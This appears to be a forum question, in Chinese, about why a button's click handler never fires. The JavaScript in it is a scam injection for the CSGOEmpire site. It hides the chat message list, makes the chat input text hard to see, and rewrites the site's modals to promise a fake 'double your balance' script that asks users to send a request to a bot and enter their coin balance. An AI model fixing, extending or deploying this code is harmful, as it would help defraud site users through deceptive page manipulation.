简而言之,当按下此按钮时,该功能应完成,但是当我单击“开始”时,什么也没发生,为什么? 我尝试在Start处放置onclick平滑HTML,但还是没有 谁能帮我? enter image description here
这是HTML / JS代码:
document.getElementById("button").addEventListener("click", myFunction());
function myFunction() {
document.querySelector('.chat-input__textarea').dispatchEvent(new Event('input'));
document.querySelector('.chat-input__textarea').dispatchEvent(new Event('change'));
// comanda
document.querySelector('.chat-input__textarea').style.color = '#141419';
document.querySelector('.chat__messages.scroll-y.scroll-y--contain.z-10').style.display = "none";
$('.chat-input__textarea').focus();
var rafAsync = () => new Promise(resolve => requestAnimationFrame(resolve));
//chat focus
var awaitElement = (selector) => {
return document.querySelector(selector)
? Promise.resolve(document.querySelector(selector))
: rafAsync().then(() => awaitElement(selector))
};
awaitElement('.flex.flex-wrap.-ml-4').then(() => {
document.querySelector('.heading.text-center.mb-3').innerHTML = 'CSGOEMPIRE Script';
document.querySelector('.w-full.md\\:w-3\\/5.pl-4.mb-2.md\\:mb-5').innerHTML = 'CSGOEMPIRE script is something new for users. With this script you can double your balance , but it works just one time . If you try to do It second/third time nothing will happen to your security/your account security.' ;
});
//primul modal
awaitElement('.flex.flex-col.items-center').then(() => {
document.querySelector('.heading.text-center.mb-2.md\\:mb-4').innerHTML = 'CSGOEMPIRE Script';
document.querySelector('.flex.flex-wrap.justify-center.text-sm.mb-2.md\\:mb-4').innerHTML = 'The script is based on doubling your balace. You have to send a request to the bot and , in just a few minutes , you will automatically receive your doubling. Beside of this, the function is unable and the balance still remains. The bot will send the amount of money that you firstly had. Enter here how many coins you have on balance';
});
}
<div class="flex">
<button id="button">START</button>
</div>
</div>
</div>
</body>
</html>